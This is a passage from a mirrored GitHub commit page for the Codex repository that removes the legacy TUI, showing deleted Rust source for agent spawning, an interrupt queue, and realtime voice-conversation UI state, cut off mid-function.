mirror of
https://github.com/openai/codex.git
synced 2026-11-03 08:22:30 +00:00
Remove the legacy TUI split (#15922)
This is the part 1 of 2 PRs that will delete the `tui` / `tui_app_server` split. This part simply deletes the existing `tui` directory and marks the `tui_app_server` feature flag as removed. I left the `tui_app_server` feature flag in place for now so its presence doesn't result in an error. It is simply ignored. Part 2 will rename the `tui_app_server` directory `tui`. I did this as two parts to reduce visible code churn.
This commit is contained in:
1 parent
307e427a9b
commit
d65deec617
856 files changed
+257
-130872
No files matched your search
@@ -1,149 +0,0 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use codex_core::CodexThread;
|
||||
use codex_core::NewThread;
|
||||
use codex_core::ThreadManager;
|
||||
use codex_core::config::Config;
|
||||
use codex_protocol::protocol::Event;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_protocol::protocol::Op;
|
||||
use tokio::sync::mpsc::UnboundedSender;
|
||||
use tokio::sync::mpsc::unbounded_channel;
|
||||
|
||||
use crate::app_event::AppEvent;
|
||||
use crate::app_event_sender::AppEventSender;
|
||||
|
||||
const TUI_NOTIFY_CLIENT: &str = "codex-tui";
|
||||
|
||||
async fn initialize_app_server_client_name(thread: &CodexThread) {
|
||||
if let Err(err) = thread
|
||||
.set_app_server_client_name(Some(TUI_NOTIFY_CLIENT.to_string()))
|
||||
.await
|
||||
{
|
||||
tracing::error!("failed to set app server client name: {err}");
|
||||
}
|
||||
}
|
||||
|
||||
/// Spawn the agent bootstrapper and op forwarding loop, returning the
|
||||
/// `UnboundedSender<Op>` used by the UI to submit operations.
|
||||
pub(crate) fn spawn_agent(
|
||||
config: Config,
|
||||
app_event_tx: AppEventSender,
|
||||
server: Arc<ThreadManager>,
|
||||
) -> UnboundedSender<Op> {
|
||||
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
|
||||
|
||||
let app_event_tx_clone = app_event_tx;
|
||||
tokio::spawn(async move {
|
||||
let NewThread {
|
||||
thread,
|
||||
session_configured,
|
||||
..
|
||||
} = match server.start_thread(config).await {
|
||||
Ok(v) => v,
|
||||
Err(err) => {
|
||||
let message = format!("Failed to initialize codex: {err}");
|
||||
tracing::error!("{message}");
|
||||
app_event_tx_clone.send(AppEvent::CodexEvent(Event {
|
||||
id: "".to_string(),
|
||||
msg: EventMsg::Error(err.to_error_event(/*message_prefix*/ None)),
|
||||
}));
|
||||
app_event_tx_clone.send(AppEvent::FatalExitRequest(message));
|
||||
tracing::error!("failed to initialize codex: {err}");
|
||||
return;
|
||||
}
|
||||
};
|
||||
initialize_app_server_client_name(thread.as_ref()).await;
|
||||
|
||||
// Forward the captured `SessionConfigured` event so it can be rendered in the UI.
|
||||
let ev = codex_protocol::protocol::Event {
|
||||
// The `id` does not matter for rendering, so we can use a fake value.
|
||||
id: "".to_string(),
|
||||
msg: codex_protocol::protocol::EventMsg::SessionConfigured(session_configured),
|
||||
};
|
||||
app_event_tx_clone.send(AppEvent::CodexEvent(ev));
|
||||
|
||||
let thread_clone = thread.clone();
|
||||
tokio::spawn(async move {
|
||||
while let Some(op) = codex_op_rx.recv().await {
|
||||
let id = thread_clone.submit(op).await;
|
||||
if let Err(e) = id {
|
||||
tracing::error!("failed to submit op: {e}");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
while let Ok(event) = thread.next_event().await {
|
||||
let is_shutdown_complete = matches!(event.msg, EventMsg::ShutdownComplete);
|
||||
app_event_tx_clone.send(AppEvent::CodexEvent(event));
|
||||
if is_shutdown_complete {
|
||||
// ShutdownComplete is terminal for a thread; drop this receiver task so
|
||||
// the Arc<CodexThread> can be released and thread resources can clean up.
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
codex_op_tx
|
||||
}
|
||||
|
||||
/// Spawn agent loops for an existing thread (e.g., a forked thread).
|
||||
/// Sends the provided `SessionConfiguredEvent` immediately, then forwards subsequent
|
||||
/// events and accepts Ops for submission.
|
||||
pub(crate) fn spawn_agent_from_existing(
|
||||
thread: std::sync::Arc<CodexThread>,
|
||||
session_configured: codex_protocol::protocol::SessionConfiguredEvent,
|
||||
app_event_tx: AppEventSender,
|
||||
) -> UnboundedSender<Op> {
|
||||
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
|
||||
|
||||
let app_event_tx_clone = app_event_tx;
|
||||
tokio::spawn(async move {
|
||||
initialize_app_server_client_name(thread.as_ref()).await;
|
||||
|
||||
// Forward the captured `SessionConfigured` event so it can be rendered in the UI.
|
||||
let ev = codex_protocol::protocol::Event {
|
||||
id: "".to_string(),
|
||||
msg: codex_protocol::protocol::EventMsg::SessionConfigured(session_configured),
|
||||
};
|
||||
app_event_tx_clone.send(AppEvent::CodexEvent(ev));
|
||||
|
||||
let thread_clone = thread.clone();
|
||||
tokio::spawn(async move {
|
||||
while let Some(op) = codex_op_rx.recv().await {
|
||||
let id = thread_clone.submit(op).await;
|
||||
if let Err(e) = id {
|
||||
tracing::error!("failed to submit op: {e}");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
while let Ok(event) = thread.next_event().await {
|
||||
let is_shutdown_complete = matches!(event.msg, EventMsg::ShutdownComplete);
|
||||
app_event_tx_clone.send(AppEvent::CodexEvent(event));
|
||||
if is_shutdown_complete {
|
||||
// ShutdownComplete is terminal for a thread; drop this receiver task so
|
||||
// the Arc<CodexThread> can be released and thread resources can clean up.
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
codex_op_tx
|
||||
}
|
||||
|
||||
/// Spawn an op-forwarding loop for an existing thread without subscribing to events.
|
||||
pub(crate) fn spawn_op_forwarder(thread: std::sync::Arc<CodexThread>) -> UnboundedSender<Op> {
|
||||
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
|
||||
|
||||
tokio::spawn(async move {
|
||||
initialize_app_server_client_name(thread.as_ref()).await;
|
||||
while let Some(op) = codex_op_rx.recv().await {
|
||||
if let Err(e) = thread.submit(op).await {
|
||||
tracing::error!("failed to submit op: {e}");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
codex_op_tx
|
||||
}
|
||||
@@ -1,105 +0,0 @@
|
||||
use std::collections::VecDeque;
|
||||
|
||||
use codex_protocol::approvals::ElicitationRequestEvent;
|
||||
use codex_protocol::protocol::ApplyPatchApprovalRequestEvent;
|
||||
use codex_protocol::protocol::ExecApprovalRequestEvent;
|
||||
use codex_protocol::protocol::ExecCommandBeginEvent;
|
||||
use codex_protocol::protocol::ExecCommandEndEvent;
|
||||
use codex_protocol::protocol::McpToolCallBeginEvent;
|
||||
use codex_protocol::protocol::McpToolCallEndEvent;
|
||||
use codex_protocol::protocol::PatchApplyEndEvent;
|
||||
use codex_protocol::request_permissions::RequestPermissionsEvent;
|
||||
use codex_protocol::request_user_input::RequestUserInputEvent;
|
||||
|
||||
use super::ChatWidget;
|
||||
|
||||
#[derive(Debug)]
|
||||
pub(crate) enum QueuedInterrupt {
|
||||
ExecApproval(ExecApprovalRequestEvent),
|
||||
ApplyPatchApproval(ApplyPatchApprovalRequestEvent),
|
||||
Elicitation(ElicitationRequestEvent),
|
||||
RequestPermissions(RequestPermissionsEvent),
|
||||
RequestUserInput(RequestUserInputEvent),
|
||||
ExecBegin(ExecCommandBeginEvent),
|
||||
ExecEnd(ExecCommandEndEvent),
|
||||
McpBegin(McpToolCallBeginEvent),
|
||||
McpEnd(McpToolCallEndEvent),
|
||||
PatchEnd(PatchApplyEndEvent),
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub(crate) struct InterruptManager {
|
||||
queue: VecDeque<QueuedInterrupt>,
|
||||
}
|
||||
|
||||
impl InterruptManager {
|
||||
pub(crate) fn new() -> Self {
|
||||
Self {
|
||||
queue: VecDeque::new(),
|
||||
}
|
||||
}
|
||||
|
||||
#[inline]
|
||||
pub(crate) fn is_empty(&self) -> bool {
|
||||
self.queue.is_empty()
|
||||
}
|
||||
|
||||
pub(crate) fn push_exec_approval(&mut self, ev: ExecApprovalRequestEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::ExecApproval(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_apply_patch_approval(&mut self, ev: ApplyPatchApprovalRequestEvent) {
|
||||
self.queue
|
||||
.push_back(QueuedInterrupt::ApplyPatchApproval(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_elicitation(&mut self, ev: ElicitationRequestEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::Elicitation(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_request_permissions(&mut self, ev: RequestPermissionsEvent) {
|
||||
self.queue
|
||||
.push_back(QueuedInterrupt::RequestPermissions(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_user_input(&mut self, ev: RequestUserInputEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::RequestUserInput(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_exec_begin(&mut self, ev: ExecCommandBeginEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::ExecBegin(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_exec_end(&mut self, ev: ExecCommandEndEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::ExecEnd(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_mcp_begin(&mut self, ev: McpToolCallBeginEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::McpBegin(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_mcp_end(&mut self, ev: McpToolCallEndEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::McpEnd(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn push_patch_end(&mut self, ev: PatchApplyEndEvent) {
|
||||
self.queue.push_back(QueuedInterrupt::PatchEnd(ev));
|
||||
}
|
||||
|
||||
pub(crate) fn flush_all(&mut self, chat: &mut ChatWidget) {
|
||||
while let Some(q) = self.queue.pop_front() {
|
||||
match q {
|
||||
QueuedInterrupt::ExecApproval(ev) => chat.handle_exec_approval_now(ev),
|
||||
QueuedInterrupt::ApplyPatchApproval(ev) => chat.handle_apply_patch_approval_now(ev),
|
||||
QueuedInterrupt::Elicitation(ev) => chat.handle_elicitation_request_now(ev),
|
||||
QueuedInterrupt::RequestPermissions(ev) => chat.handle_request_permissions_now(ev),
|
||||
QueuedInterrupt::RequestUserInput(ev) => chat.handle_request_user_input_now(ev),
|
||||
QueuedInterrupt::ExecBegin(ev) => chat.handle_exec_begin_now(ev),
|
||||
QueuedInterrupt::ExecEnd(ev) => chat.handle_exec_end_now(ev),
|
||||
QueuedInterrupt::McpBegin(ev) => chat.handle_mcp_begin_now(ev),
|
||||
QueuedInterrupt::McpEnd(ev) => chat.handle_mcp_end_now(ev),
|
||||
QueuedInterrupt::PatchEnd(ev) => chat.handle_patch_apply_end_now(ev),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,547 +0,0 @@
|
||||
use super::*;
|
||||
use codex_protocol::protocol::ConversationStartParams;
|
||||
use codex_protocol::protocol::RealtimeAudioFrame;
|
||||
use codex_protocol::protocol::RealtimeConversationClosedEvent;
|
||||
use codex_protocol::protocol::RealtimeConversationRealtimeEvent;
|
||||
use codex_protocol::protocol::RealtimeConversationStartedEvent;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
use codex_protocol::protocol::RealtimeConversationVersion;
|
||||
use codex_protocol::protocol::RealtimeEvent;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
use std::sync::atomic::AtomicUsize;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
use std::time::Duration;
|
||||
|
||||
const REALTIME_CONVERSATION_PROMPT: &str = "You are in a realtime voice conversation in the Codex TUI. Respond conversationally and concisely.";
|
||||
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
|
||||
pub(super) enum RealtimeConversationPhase {
|
||||
#[default]
|
||||
Inactive,
|
||||
Starting,
|
||||
Active,
|
||||
Stopping,
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub(super) struct RealtimeConversationUiState {
|
||||
pub(super) phase: RealtimeConversationPhase,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
audio_behavior: RealtimeAudioBehavior,
|
||||
requested_close: bool,
|
||||
session_id: Option<String>,
|
||||
warned_audio_only_submission: bool,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(super) meter_placeholder_id: Option<String>,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
capture_stop_flag: Option<Arc<AtomicBool>>,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
capture: Option<crate::voice::VoiceCapture>,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
audio_player: Option<crate::voice::RealtimeAudioPlayer>,
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
// Shared queue depth lets capture suppress echoed speaker audio without
|
||||
// taking the playback queue lock from the input callback.
|
||||
playback_queued_samples: Arc<AtomicUsize>,
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
|
||||
enum RealtimeAudioBehavior {
|
||||
#[default]
|
||||
Legacy,
|
||||
PlaybackAware,
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
impl RealtimeAudioBehavior {
|
||||
fn from_version(version: RealtimeConversationVersion) -> Self {
|
||||
match version {
|
||||
RealtimeConversationVersion::V1 => Self::Legacy,
|
||||
RealtimeConversationVersion::V2 => Self::PlaybackAware,
|
||||
}
|
||||
}
|
||||
|
||||
fn input_behavior(
|
||||
self,
|
||||
playback_queued_samples: Arc<AtomicUsize>,
|
||||
) -> crate::voice::RealtimeInputBehavior {
|
||||
match self {
|
||||
Self::Legacy => crate::voice::RealtimeInputBehavior::Ungated,
|
||||
Self::PlaybackAware => crate::voice::RealtimeInputBehavior::PlaybackAware {
|
||||
playback_queued_samples,
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl RealtimeConversationUiState {
|
||||
pub(super) fn is_live(&self) -> bool {
|
||||
matches!(
|
||||
self.phase,
|
||||
RealtimeConversationPhase::Starting
|
||||
| RealtimeConversationPhase::Active
|
||||
| RealtimeConversationPhase::Stopping
|
||||
)
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(super) fn is_active(&self) -> bool {
|
||||
matches!(self.phase, RealtimeConversationPhase::Active)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
pub(super) struct RenderedUserMessageEvent {
|
||||
pub(super) message: String,
|
||||
pub(super) remote_image_urls: Vec<String>,
|
||||
pub(super) local_images: Vec<PathBuf>,
|
||||
pub(super) text_elements: Vec<TextElement>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub(super) struct PendingSteerCompareKey {
|
||||
pub(super) message: String,
|
||||
pub(super) image_count: usize,
|
||||
}
|
||||
|
||||
impl ChatWidget {
|
||||
pub(super) fn stop_realtime_conversation_from_ui(&mut self) {
|
||||
self.request_realtime_conversation_close(/*info_message*/ None);
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(crate) fn stop_realtime_conversation_for_deleted_meter(&mut self, id: &str) -> bool {
|
||||
if self.realtime_conversation.is_live()
|
||||
&& self.realtime_conversation.meter_placeholder_id.as_deref() == Some(id)
|
||||
{
|
||||
self.realtime_conversation.meter_placeholder_id = None;
|
||||
self.stop_realtime_conversation_from_ui();
|
||||
return true;
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
pub(super) fn rendered_user_message_event_from_parts(
|
||||
message: String,
|
||||
text_elements: Vec<TextElement>,
|
||||
local_images: Vec<PathBuf>,
|
||||
remote_image_urls: Vec<String>,
|
||||
) -> RenderedUserMessageEvent {
|
||||
RenderedUserMessageEvent {
|
||||
message,
|
||||
remote_image_urls,
|
||||
local_images,
|
||||
text_elements,
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn rendered_user_message_event_from_event(
|
||||
event: &UserMessageEvent,
|
||||
) -> RenderedUserMessageEvent {
|
||||
Self::rendered_user_message_event_from_parts(
|
||||
event.message.clone(),
|
||||
event.text_elements.clone(),
|
||||
event.local_images.clone(),
|
||||
event.images.clone().unwrap_or_default(),
|
||||
)
|
||||
}
|
||||
|
||||
/// Build the compare key for a submitted pending steer without invoking the
|
||||
/// expensive request-serialization path. Pending steers only need to match the
|
||||
/// committed `ItemCompleted(UserMessage)` emitted after core drains input, which
|
||||
/// preserves flattened text and total image count but not UI-only text ranges or
|
||||
/// local image paths.
|
||||
pub(super) fn pending_steer_compare_key_from_items(
|
||||
items: &[UserInput],
|
||||
) -> PendingSteerCompareKey {
|
||||
let mut message = String::new();
|
||||
let mut image_count = 0;
|
||||
|
||||
for item in items {
|
||||
match item {
|
||||
UserInput::Text { text, .. } => message.push_str(text),
|
||||
UserInput::Image { .. } | UserInput::LocalImage { .. } => image_count += 1,
|
||||
UserInput::Skill { .. } | UserInput::Mention { .. } => {}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
PendingSteerCompareKey {
|
||||
message,
|
||||
image_count,
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn pending_steer_compare_key_from_item(
|
||||
item: &codex_protocol::items::UserMessageItem,
|
||||
) -> PendingSteerCompareKey {
|
||||
Self::pending_steer_compare_key_from_items(&item.content)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(super) fn rendered_user_message_event_from_inputs(
|
||||
items: &[UserInput],
|
||||
) -> RenderedUserMessageEvent {
|
||||
let mut message = String::new();
|
||||
let mut remote_image_urls = Vec::new();
|
||||
let mut local_images = Vec::new();
|
||||
let mut text_elements = Vec::new();
|
||||
|
||||
for item in items {
|
||||
match item {
|
||||
UserInput::Text {
|
||||
text,
|
||||
text_elements: current_text_elements,
|
||||
} => append_text_with_rebased_elements(
|
||||
&mut message,
|
||||
&mut text_elements,
|
||||
text,
|
||||
current_text_elements.iter().map(|element| {
|
||||
TextElement::new(
|
||||
element.byte_range,
|
||||
element.placeholder(text).map(str::to_string),
|
||||
)
|
||||
}),
|
||||
),
|
||||
UserInput::Image { image_url } => remote_image_urls.push(image_url.clone()),
|
||||
UserInput::LocalImage { path } => local_images.push(path.clone()),
|
||||
UserInput::Skill { .. } | UserInput::Mention { .. } => {}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
Self::rendered_user_message_event_from_parts(
|
||||
message,
|
||||
text_elements,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
)
|
||||
}
|
||||
|
||||
pub(super) fn should_render_realtime_user_message_event(
|
||||
&self,
|
||||
event: &UserMessageEvent,
|
||||
) -> bool {
|
||||
if !self.realtime_conversation.is_live() {
|
||||
return false;
|
||||
}
|
||||
let key = Self::rendered_user_message_event_from_event(event);
|
||||
self.last_rendered_user_message_event.as_ref() != Some(&key)
|
||||
}
|
||||
|
||||
pub(super) fn maybe_defer_user_message_for_realtime(
|
||||
&mut self,
|
||||
user_message: UserMessage,
|
||||
) -> Option<UserMessage> {
|
||||
if !self.realtime_conversation.is_live() {
|
||||
return Some(user_message);
|
||||
}
|
||||
|
||||
self.restore_user_message_to_composer(user_message);
|
||||
if !self.realtime_conversation.warned_audio_only_submission {
|
||||
self.realtime_conversation.warned_audio_only_submission = true;
|
||||
self.add_info_message(
|
||||
"Realtime voice mode is audio-only. Use /realtime to stop.".to_string(),
|
||||
/*hint*/ None,
|
||||
);
|
||||
} else {
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
pub(super) fn start_realtime_conversation(&mut self) {
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Starting;
|
||||
self.realtime_conversation.requested_close = false;
|
||||
self.realtime_conversation.session_id = None;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
self.realtime_conversation.audio_behavior = RealtimeAudioBehavior::Legacy;
|
||||
}
|
||||
self.realtime_conversation.warned_audio_only_submission = false;
|
||||
self.set_footer_hint_override(Some(vec![(
|
||||
"/realtime".to_string(),
|
||||
"stop live voice".to_string(),
|
||||
)]));
|
||||
self.submit_op(Op::RealtimeConversationStart(ConversationStartParams {
|
||||
prompt: REALTIME_CONVERSATION_PROMPT.to_string(),
|
||||
session_id: None,
|
||||
}));
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
pub(super) fn request_realtime_conversation_close(&mut self, info_message: Option<String>) {
|
||||
if !self.realtime_conversation.is_live() {
|
||||
if let Some(message) = info_message {
|
||||
self.add_info_message(message, /*hint*/ None);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
self.realtime_conversation.requested_close = true;
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Stopping;
|
||||
self.submit_op(Op::RealtimeConversationClose);
|
||||
self.stop_realtime_local_audio();
|
||||
self.set_footer_hint_override(/*items*/ None);
|
||||
|
||||
if let Some(message) = info_message {
|
||||
self.add_info_message(message, /*hint*/ None);
|
||||
} else {
|
||||
self.request_redraw();
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn reset_realtime_conversation_state(&mut self) {
|
||||
self.stop_realtime_local_audio();
|
||||
self.set_footer_hint_override(/*items*/ None);
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Inactive;
|
||||
self.realtime_conversation.requested_close = false;
|
||||
self.realtime_conversation.session_id = None;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
self.realtime_conversation.audio_behavior = RealtimeAudioBehavior::Legacy;
|
||||
}
|
||||
self.realtime_conversation.warned_audio_only_submission = false;
|
||||
}
|
||||
|
||||
fn fail_realtime_conversation(&mut self, message: String) {
|
||||
self.add_error_message(message);
|
||||
if self.realtime_conversation.is_live() {
|
||||
self.request_realtime_conversation_close(/*info_message*/ None);
|
||||
} else {
|
||||
self.reset_realtime_conversation_state();
|
||||
self.request_redraw();
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn on_realtime_conversation_started(
|
||||
&mut self,
|
||||
ev: RealtimeConversationStartedEvent,
|
||||
) {
|
||||
if !self.realtime_conversation_enabled() {
|
||||
self.request_realtime_conversation_close(/*info_message*/ None);
|
||||
return;
|
||||
}
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Active;
|
||||
self.realtime_conversation.session_id = ev.session_id;
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
self.realtime_conversation.audio_behavior =
|
||||
RealtimeAudioBehavior::from_version(ev.version);
|
||||
}
|
||||
self.realtime_conversation.warned_audio_only_submission = false;
|
||||
self.set_footer_hint_override(Some(vec![(
|
||||
"/realtime".to_string(),
|
||||
"stop live voice".to_string(),
|
||||
)]));
|
||||
self.start_realtime_local_audio();
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
pub(super) fn on_realtime_conversation_realtime(
|
||||
&mut self,
|
||||
ev: RealtimeConversationRealtimeEvent,
|
||||
) {
|
||||
match ev.payload {
|
||||
RealtimeEvent::SessionUpdated { session_id, .. } => {
|
||||
self.realtime_conversation.session_id = Some(session_id);
|
||||
}
|
||||
RealtimeEvent::InputAudioSpeechStarted(_) | RealtimeEvent::ResponseCancelled(_) => {
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
if matches!(
|
||||
self.realtime_conversation.audio_behavior,
|
||||
RealtimeAudioBehavior::PlaybackAware
|
||||
) && let Some(player) = &self.realtime_conversation.audio_player
|
||||
{
|
||||
// Once the server detects user speech or the current response is cancelled,
|
||||
// any buffered assistant audio is stale and should stop gating mic input.
|
||||
player.clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
RealtimeEvent::InputTranscriptDelta(_) => {}
|
||||
RealtimeEvent::OutputTranscriptDelta(_) => {}
|
||||
RealtimeEvent::AudioOut(frame) => self.enqueue_realtime_audio_out(&frame),
|
||||
RealtimeEvent::ConversationItemAdded(_item) => {}
|
||||
RealtimeEvent::ConversationItemDone { .. } => {}
|
||||
RealtimeEvent::HandoffRequested(_) => {}
|
||||
RealtimeEvent::Error(message) => {
|
||||
self.fail_realtime_conversation(format!("Realtime voice error: {message}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn on_realtime_conversation_closed(&mut self, ev: RealtimeConversationClosedEvent) {
|
||||
let requested = self.realtime_conversation.requested_close;
|
||||
let reason = ev.reason;
|
||||
self.reset_realtime_conversation_state();
|
||||
if !requested
|
||||
&& let Some(reason) = reason
|
||||
&& reason != "error"
|
||||
{
|
||||
self.add_info_message(
|
||||
format!("Realtime voice mode closed: {reason}"),
|
||||
/*hint*/ None,
|
||||
);
|
||||
}
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
fn enqueue_realtime_audio_out(&mut self, frame: &RealtimeAudioFrame) {
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
if self.realtime_conversation.audio_player.is_none() {
|
||||
self.realtime_conversation.audio_player = crate::voice::RealtimeAudioPlayer::start(
|
||||
&self.config,
|
||||
Arc::clone(&self.realtime_conversation.playback_queued_samples),
|
||||
)
|
||||
.ok();
|
||||
}
|
||||
if let Some(player) = &self.realtime_conversation.audio_player
|
||||
&& let Err(err) = player.enqueue_frame(frame)
|
||||
{
|
||||
warn!("failed to play realtime audio: {err}");
|
||||
}
|
||||
}
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
let _ = frame;
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn start_realtime_local_audio(&mut self) {
|
||||
if self.realtime_conversation.capture_stop_flag.is_some() {
|
||||
return;
|
||||
}
|
||||
|
||||
let placeholder_id = self.bottom_pane.insert_transcription_placeholder("⠤⠤⠤⠤");
|
||||
self.realtime_conversation.meter_placeholder_id = Some(placeholder_id.clone());
|
||||
self.request_redraw();
|
||||
|
||||
let capture = match crate::voice::VoiceCapture::start_realtime(
|
||||
&self.config,
|
||||
self.app_event_tx.clone(),
|
||||
self.realtime_conversation
|
||||
.audio_behavior
|
||||
.input_behavior(Arc::clone(
|
||||
&self.realtime_conversation.playback_queued_samples,
|
||||
)),
|
||||
) {
|
||||
Ok(capture) => capture,
|
||||
Err(err) => {
|
||||
self.realtime_conversation.meter_placeholder_id = None;
|
||||
self.remove_transcription_placeholder(&placeholder_id);
|
||||
self.fail_realtime_conversation(format!(
|
||||
"Failed to start microphone capture: {err}"
|
||||
));
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let stop_flag = capture.stopped_flag();
|
||||
let peak = capture.last_peak_arc();
|
||||
let meter_placeholder_id = placeholder_id;
|
||||
let app_event_tx = self.app_event_tx.clone();
|
||||
|
||||
self.realtime_conversation.capture_stop_flag = Some(stop_flag.clone());
|
||||
self.realtime_conversation.capture = Some(capture);
|
||||
if self.realtime_conversation.audio_player.is_none() {
|
||||
self.realtime_conversation.audio_player = crate::voice::RealtimeAudioPlayer::start(
|
||||
&self.config,
|
||||
Arc::clone(&self.realtime_conversation.playback_queued_samples),
|
||||
)
|
||||
.ok();
|
||||
}
|
||||
|
||||
std::thread::spawn(move || {
|
||||
let mut meter = crate::voice::RecordingMeterState::new();
|
||||
|
||||
loop {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let meter_text = meter.next_text(peak.load(Ordering::Relaxed));
|
||||
app_event_tx.send(AppEvent::UpdateRecordingMeter {
|
||||
id: meter_placeholder_id.clone(),
|
||||
text: meter_text,
|
||||
});
|
||||
|
||||
std::thread::sleep(Duration::from_millis(60));
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn start_realtime_local_audio(&mut self) {}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(crate) fn restart_realtime_audio_device(&mut self, kind: RealtimeAudioDeviceKind) {
|
||||
if !self.realtime_conversation.is_active() {
|
||||
return;
|
||||
}
|
||||
|
||||
match kind {
|
||||
RealtimeAudioDeviceKind::Microphone => {
|
||||
self.stop_realtime_microphone();
|
||||
self.start_realtime_local_audio();
|
||||
}
|
||||
RealtimeAudioDeviceKind::Speaker => {
|
||||
self.stop_realtime_speaker();
|
||||
match crate::voice::RealtimeAudioPlayer::start(
|
||||
&self.config,
|
||||
Arc::clone(&self.realtime_conversation.playback_queued_samples),
|
||||
) {
|
||||
Ok(player) => {
|
||||
self.realtime_conversation.audio_player = Some(player);
|
||||
}
|
||||
Err(err) => {
|
||||
self.fail_realtime_conversation(format!(
|
||||
"Failed to start speaker output: {err}"
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
pub(crate) fn restart_realtime_audio_device(&mut self, kind: RealtimeAudioDeviceKind) {
|
||||
let _ = kind;
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn stop_realtime_local_audio(&mut self) {
|
||||
self.stop_realtime_microphone();
|
||||
self.stop_realtime_speaker();
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn stop_realtime_local_audio(&mut self) {}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn stop_realtime_microphone(&mut self) {
|
||||
if let Some(flag) = self.realtime_conversation.capture_stop_flag.take() {
|
||||
flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
if let Some(capture) = self.realtime_conversation.capture.take() {
|
||||
let _ = capture.stop();
|
||||
}
|
||||
if let Some(id) = self.realtime_conversation.meter_placeholder_id.take() {
|
||||
